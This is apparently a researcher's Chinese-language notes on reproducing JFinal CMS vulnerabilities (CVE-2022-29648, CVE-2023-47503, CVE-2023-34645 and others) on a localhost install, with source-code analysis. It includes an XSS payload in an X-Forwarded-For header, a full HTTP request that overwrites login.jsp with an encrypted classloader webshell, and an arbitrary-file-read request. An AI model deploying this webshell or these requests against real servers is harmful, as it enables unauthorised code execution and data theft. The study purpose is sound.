CVE-2022-29648
通过伪造的 X-Forwarded-For 请求头注入脚本。
他说到这个,我只能想到是这里来触发的。

代码
java
public void index() {
SysUser user = (SysUser) getSessionUser();
if (user == null) {
redirect(CommonController.firstPage);
return;
}
setAttr("nowUser", user);
// 最新文件
Page<TbArticle> articlePage = TbArticle.dao.paginate(new Paginator(1, 10), "select t.*,f.name as folderName " //
, " from tb_article t left join tb_folder f on f.id = t.folder_id " //
+ " where t.status = 1 and t.type in (11,12) " // 查询状态为显示,类型是预览和正常的文章
+ " and f.site_id="+getBackSite().getId()
+ " order by t.update_time desc,t.id desc");
setAttr("articles", articlePage.getList());
// 最新评论
Page<TbComment> commentPage = TbComment.dao.paginate(new Paginator(1, 10), "select t.*,a.title articleName ", //
" from tb_comment t " //
+ " left join tb_article a on a.id = t.article_id where 1=1 order by t.id desc ");
setAttr("comments", commentPage.getList());
// 最新用户
Page<SysUser> userPage = SysUser.dao.paginate(new Paginator(1, 10), "select t.*,d.name as departname ", //
" from sys_user t left join sys_department d on d.id = t.departid " //
+ " where 1 = 1 and userid != 1 order by userid desc ");
setAttr("users", userPage.getList());
//最新访问用户
//这里,
Page<TbPageView> pageViewPage = TbPageView.dao.paginate(new Paginator(1, 10), "select t.*", //
" from tb_pageview t order by id desc ");
setAttr("pageViews", pageViewPage.getList());
render(path + "home.html");
}
}

java
GET /jfinal_cms/ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For:11111111111111111111111111111111111
Cookie: JSESSIONID=6DFE67476CC97C638D80C87C93B29F4E; Hm_lvt_1040d081eea13b44d84a4af639640d51=1774610423,1774928205,1775025367,1775195452; session_user="VrhFVJS2SgewvZrFcwCawA=="; Hm_lpvt_1040d081eea13b44d84a4af639640d51=1775207566; HMACCOUNT=A2CF3FA6A7F759C5
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i

果然跟我直觉差不多可惜我找不着代码。

java
GET /jfinal_cms/ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
X-Forwarded-For:<script>alert('XSS æÑ')</script>
Cookie: JSESSIONID=6DFE67476CC97C638D80C87C93B29F4E; Hm_lvt_1040d081eea13b44d84a4af639640d51=1774610423,1774928205,1775025367,1775195452; session_user="VrhFVJS2SgewvZrFcwCawA=="; Hm_lpvt_1040d081eea13b44d84a4af639640d51=1775207566; HMACCOUNT=A2CF3FA6A7F759C5
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
CVE-2023-47503
位于 login.jsp 的模板管理模块导致的RCE漏洞。
是直接用管理员权限改Jsp的代码来造成RCE的
java
<%@ page language="java" pageEncoding="UTF-8"%>
<%
response.sendRedirect("login");
%>
由于他前端不让我直接编辑,于是只能改包
java
POST /jfinal_cms/admin/filemanager?config=filemanager.config.js HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 777
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/jfinal_cms/admin/filemanager/list
Cookie: JSESSIONID=98854D45F247A3BC40502F847710A50F; Hm_lvt_1040d081eea13b44d84a4af639640d51=1774610423,1774928205,1775025367,1775195452; session_user="VrhFVJS2SgewvZrFcwCawA=="
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
content=%3C%25%40page+import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22+%25%3E%0D%0A%3C%25!%0D%0A++++class+U+extends+ClassLoader+%7B%0D%0A++++++++U(ClassLoader+c)+%7B+super(c)%3B+%7D%0D%0A++++++++public+Class+g(byte%5B%5D+b)+%7B+return+super.defineClass(b%2C+0%2C+b.length)%3B+%7D%0D%0A++++%7D%0D%0A%25%3E%0D%0A%3C%25%0D%0A++++String+k+%3D+%22e45e329feb5d925b%22%3B%0D%0A++++session.putValue(%22u%22%2C+k)%3B%0D%0A++++Cipher+c+%3D+Cipher.getInstance(%22AES%22)%3B%0D%0A++++c.init(2%2C+new+SecretKeySpec(k.getBytes()%2C+%22AES%22))%3B%0D%0A++++new+U(this.getClass().getClassLoader()).g(c.doFinal(new+sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%0D%0A%25%3E&mode=savefile&path=%2Fjfinal_cms%2Flogin.jsp

修改成功

确认项目类型:Spring Boot 还是传统 War 包?
这是问题的核心,也是你之前"别人怎么连上的"这个疑问的根源。
· 如果是 Spring Boot 项目:默认不支持 JSP。必须在 pom.xml 中添加特定依赖,并配置 application.properties。在这种情况下,冰蝎的 JSP 马很可能无法正常工作。
· 如果是传统 War 包项目:通常可以直接访问 JSP。
由于我这是打包的,所以不行,能改就证明可以了。

java
public void index() {
HttpServletRequest request = getRequest();
try {
request.setCharacterEncoding("UTF-8");
getResponse().setCharacterEncoding("UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
FileManager fm = new FileManager(getRequest());
JSONObject responseData = null;
String mode = "";
String path = "";
boolean needPath = false;
boolean putTextarea = false;
if (!auth()) {
fm.error(fm.lang("AUTHORIZATION_REQUIRED"));
} else {
//获取path
String contextPath = request.getContextPath();
// 设置contextPath
fm.setGetVar("contextPath", contextPath);
//获取
mode = request.getParameter("mode");
path = request.getParameter("path");
//path != null
if (path != null) {
try {
//看请求
if (request.getMethod().equals("GET"))
path = new String(path.getBytes("ISO8859-1"), "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
//检查path是否为空?
needPath = fm.setGetVar("path", path);
}
if (request.getMethod().equals("GET")) {
if (mode != null && mode != "") {
if (mode.equals("getinfo")) {
if (needPath) {
responseData = fm.getInfo();
}
} else if (mode.equals("getfolder")) {
if (needPath) {
responseData = fm.getFolder();
}
} else if (mode.equals("rename")) {
String oldFile = request.getParameter("old");
String newFile = request.getParameter("new");
try {
oldFile = new String(oldFile.getBytes("ISO8859-1"), "UTF-8");
newFile = new String(newFile.getBytes("ISO8859-1"), "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
if (fm.setGetVar("old", oldFile) && fm.setGetVar("new", newFile)) {
responseData = fm.rename();
}
} else if (mode.equals("delete")) {
if (needPath) {
responseData = fm.delete();
}
} else if (mode.equals("addfolder")) {
String name = request.getParameter("name");
try {
name = new String(name.getBytes("ISO8859-1"), "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
if (needPath && fm.setGetVar("name", name)) {
responseData = fm.addFolder();
}
} else if (mode.equals("download")) {
if (needPath) {
fm.download(getResponse());
}
} else if (mode.equals("preview")) {
if (needPath) {
fm.preview(getResponse());
}
} else if (mode.equals("editfile")) {
if (needPath) {
responseData = fm.editFile();
}
} else {
fm.error(fm.lang("MODE_ERROR"));
}
}
} else if (request.getMethod().equals("POST")) {
if (mode == null) {
mode = "upload";
responseData = fm.add();
putTextarea = true;
} else if (mode.equals("savefile")) {
if (needPath && fm.setGetContent("content", request.getParameter("content"))) {
//返回响应,保存
responseData = fm.saveFile();
}
}
}
}
if (responseData == null) {
//报错
responseData = fm.getError();
}
if (responseData != null) {
//展示,看mode
String responseStr = responseData.toString();
if (putTextarea)
responseStr = "<textarea>" + responseStr + "</textarea>";
log.info("mode:" + mode + ",response:" + responseStr);
renderText(responseStr);
} else {
renderNull();
}
}


java
public JSONObject saveFile() {
JSONObject array = new JSONObject();
try {
//文件内容
String content = this.get.get("content");
//
content = FileManagerUtils.decodeContent(content);
//不严格判断
bakupFile(new File(getRealFilePath()));
//写入
FileManagerUtils.writeString(getRealFilePath(), content);
//返回包
array.put("Path", this.get.get("path"));
array.put("Error", "");
array.put("Code", 0);
} catch (JSONException e) {
logger.error("JSONObject error", e);
this.error("JSONObject error");
} catch (IOException e) {
logger.error("IOException error", e);
this.error("IOException error");
}
//返回array,json
return array;
}
java
protected String getRealFilePath() {
//拼接
String path = this.fileRoot + getFilePath();
//无过滤
return FileManagerUtils.rebulid(path);
}
java
public static String decodeContent(String content) {
//replaceAll 是一种用于字符串中全局替换所有匹配子串的常用方法,广泛应用于多种编程语言(如 Java、JavaScript、R、Go 等)。
//转义
content = content.replaceAll("</textarea", "</textarea");
//返回
return content;
}
java
protected void bakupFile(File src) throws IOException {
if (!BAKUP_FLAG) {
return;
}
String targetPath = FileManagerUtils.rebulid(src.getPath());
String rootPath = FileManagerUtils.rebulid(this.fileRoot);
//startsWith() 是一种用于判断字符串是否以指定子串开头的常用方法,广泛应用于多种编程语言中。以下是主流语言中的实现方式和关键特性
//检查是不是真实路径,是不是rootPath开头
if (!targetPath.startsWith(rootPath)) {
logger.warn("bakup dir error:" + src.getPath());
return;
}
java
//字符转
public static String rebulid(String currentPath) {
String filePath = currentPath;
filePath = filePath.replaceAll("\\\\", "\\/");
filePath = filePath.replaceAll("//", "/");
return filePath;
}
键值存储
java
//path path 值
public boolean setGetVar(String var, String value) {
//
boolean retval = false;
if (value == null || value == "") {
this.error(sprintf(lang("INVALID_VAR"), var));
} else {
//放入
this.get.put(var, sanitize(value));
retval = true;
}
//返回
return retval;
}
CVE-2023-30349(现在无法复现)
位于 ActionEnter 函数的RCE漏洞

可以触发。
java
@ControllerBind(controllerKey = "ueditor")
public class Ueditor extends BaseProjectController {
public void index() {
//返回加密,失败的路径
String out = new ActionEnter(getRequest(), PathKit.getWebRootPath()).exec();
// 获取人物
TbSite site = getSessionSite().getModel();
int userid = getSessionUser() == null ? 0 : getSessionUser().getUserid();
// 上传类型
String actionType = getPara("action");
int actionCode = ActionMap.getType(actionType);
String contextPath = getRequest().getContextPath();
// 文件处理
String handlerOut = new UeditorService().uploadHandle(actionCode, out, contextPath, site, userid);
renderText(handlerOut);
}
}
按照经验,exec看着就是命令执行一类的,所以先看一下他的代码。
java
public String exec () {
//猜测获取callback
String callbackName = this.request.getParameter("callback");
if ( callbackName != null ) {
if ( !validCallbackName( callbackName ) ) {
//返回json
return new BaseState( false, AppInfo.ILLEGAL ).toJSONString();
}
//这里
return callbackName+"("+this.invoke()+");";
} else {
return this.invoke();
}
}
java
public String invoke() {
if ( actionType == null || !ActionMap.mapping.containsKey( actionType ) ) {
return new BaseState( false, AppInfo.INVALID_ACTION ).toJSONString();
}
if ( this.configManager == null || !this.configManager.valid() ) {
return new BaseState( false, AppInfo.CONFIG_ERROR ).toJSONString();
}
State state = null;
int actionCode = ActionMap.getType( this.actionType );
Map<String, Object> conf = null;
switch ( actionCode ) {
case ActionMap.CONFIG:
return this.configManager.getAllConfig().toString();
case ActionMap.UPLOAD_IMAGE:
case ActionMap.UPLOAD_SCRAWL:
case ActionMap.UPLOAD_VIDEO:
case ActionMap.UPLOAD_FILE:
conf = this.configManager.getConfig( actionCode );
state = new Uploader( request, conf ).doExec();
break;
case ActionMap.CATCH_IMAGE:
conf = configManager.getConfig( actionCode );
String[] list = this.request.getParameterValues( (String)conf.get( "fieldName" ) );
state = new ImageHunter( conf ).capture( list );
break;
case ActionMap.LIST_IMAGE:
case ActionMap.LIST_FILE:
conf = configManager.getConfig( actionCode );
int start = this.getStartIndex();
state = new FileManager( conf ).listFile( start );
break;
}
return state.toJSONString();
}


由于页面丢失,我无法复现,我无法不看数据包,不看上下文,不看调试就看懂这个代码写的什么。不过应该是猜对了一半。
还是看以后吧。
CVE-2023-34645
任意文件读取漏洞
这个我都不想看了,一猜就是路径限制不完整,导致任意文件读取,然后最后渲染出来。
java
GET /jfinal_cms/admin/filemanager?mode=editfile&path=%2Fjfinal_cms%2Fbakup%2Fyh.txt&config=filemanager.config.js&time=822 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://localhost:8080/jfinal_cms/admin/filemanager/list
Cookie: JSESSIONID=5138D8C3A1314192701ED010439A14BE; Hm_lvt_1040d081eea13b44d84a4af639640d51=1774610423,1774928205,1775025367,1775195452; session_user="VrhFVJS2SgewvZrFcwCawA=="
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
java
FileManager fm = new FileManager(getRequest());
JSONObject responseData = null;
String mode = "";
String path = "";
boolean needPath = false;
boolean putTextarea = false;
if (!auth()) {
fm.error(fm.lang("AUTHORIZATION_REQUIRED"));
} else {
//获取path(前端)
String contextPath = request.getContextPath();
// 设置contextPath
fm.setGetVar("contextPath", contextPath);
mode = request.getParameter("mode");
path = request.getParameter("path");
if (path != null) {
try {
if (request.getMethod().equals("GET"))
path = new String(path.getBytes("ISO8859-1"), "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
//检查是否为空
needPath = fm.setGetVar("path", path);
}
else if (mode.equals("editfile")) {
if (needPath) {
//读取
responseData = fm.editFile();
}
} else {
fm.error(fm.lang("MODE_ERROR"));
}
java
//path path 值
public boolean setGetVar(String var, String value) {
//
boolean retval = false;
if (value == null || value == "") {
this.error(sprintf(lang("INVALID_VAR"), var));
} else {
//放入
this.get.put(var, sanitize(value));
retval = true;
}
//返回
return retval;
}
java
public JSONObject editFile() {
JSONObject array = new JSONObject();
// 读取文件信息
try {
//获取文件路径,读取
String content = FileManagerUtils.readString(getRealFilePath());
//标签转义
content = FileManagerUtils.encodeContent(content);
array.put("Path", this.get.get("path"));
array.put("Content", content);
array.put("Error", "");
array.put("Code", 0);
} catch (JSONException e) {
this.error("JSONObject error");
} catch (IOException e) {
e.printStackTrace();
}
//返回数组
return array;
}
java
protected String getRealFilePath() {
//拼接,getFilePath()可控,仅仅判断开头
String path = this.fileRoot + getFilePath();
return FileManagerUtils.rebulid(path);
}
java
public static String rebulid(String currentPath) {
String filePath = currentPath;
filePath = filePath.replaceAll("\\\\", "\\/");
filePath = filePath.replaceAll("//", "/");
return filePath;
}
java
protected String getFilePath() {
String path = this.get.get("path");
return getFilePath(path);
}
java
protected String getFilePath(String path) {
String contextPath = this.get.get("contextPath");
// 根目录
if (StrUtils.isEmpty(contextPath)) {
return path;
}
if (path.startsWith(contextPath)) {
//startsWith() 是一种用于判断字符串是否以指定子串开头的常用方法,广泛应用于多种编程语言中。以下是主流语言中的实现方式和关键特性
path = path.replaceFirst(contextPath, "");
}
return path;
}

CVE-2024-8694(这些我都没找到入口)
位于 /admin/template/update 的路径遍历漏洞。
CVE-2024-8706(这些我都没找到入口)
位于 /admin/template/update 的路径遍历漏洞。
CVE-2023-49375(这些我都没找到入口)
位于 /admin/friend_link/update
CVE-2023-49376(这些我都没找到入口)
位于 /admin/tag/delete
CVE-2023-49377(这些我都没找到入口)
位于 /admin/tag/update 的CSRF漏洞
CVE-2023-49379(这些我都没找到入口)
CSRF漏洞。
CVE-2023-49447(这些我都没找到入口)
位于 /admin/nav/update 的CSRF漏洞。
CVE-2025-6105
位于 HOME.java 的 Logout 参数存在CSRF漏洞。
public void logout() {
//删除Session
removeSessionUser();
//重定向首页
redirect(CommonController.firstPage);
}
public static final String firstPage = "/home"

http://localhost:8080/jfinal_cms/front/logout
自动退出登录
CVE-2021-40639(无法复现)
通过 /classes/conf/db.properties 访问敏感信息
无法复现

CVE-2021-37262(复现失败)
正则表达式注入,可能导致拒绝服务。
java
protected String getFilePath(String path) {
String contextPath = this.get.get("contextPath");
// 根目录
if (StrUtils.isEmpty(contextPath)) {
return path;
}
//转化
if (path.startsWith(contextPath)) {
//确认首目录,替换
path = path.replaceFirst(contextPath, "");
}
return path;
}
java
public String replaceFirst(String regex, String replacement) {
return Pattern.compile(regex).matcher(this).replaceFirst(replacement);
}
java
public static Pattern compile(String regex) {
return new Pattern(regex, 0);
}



CVE-2024-57665(无法复现)
位于 Content.java 的 title 参数存在SQL注入漏洞。
没找到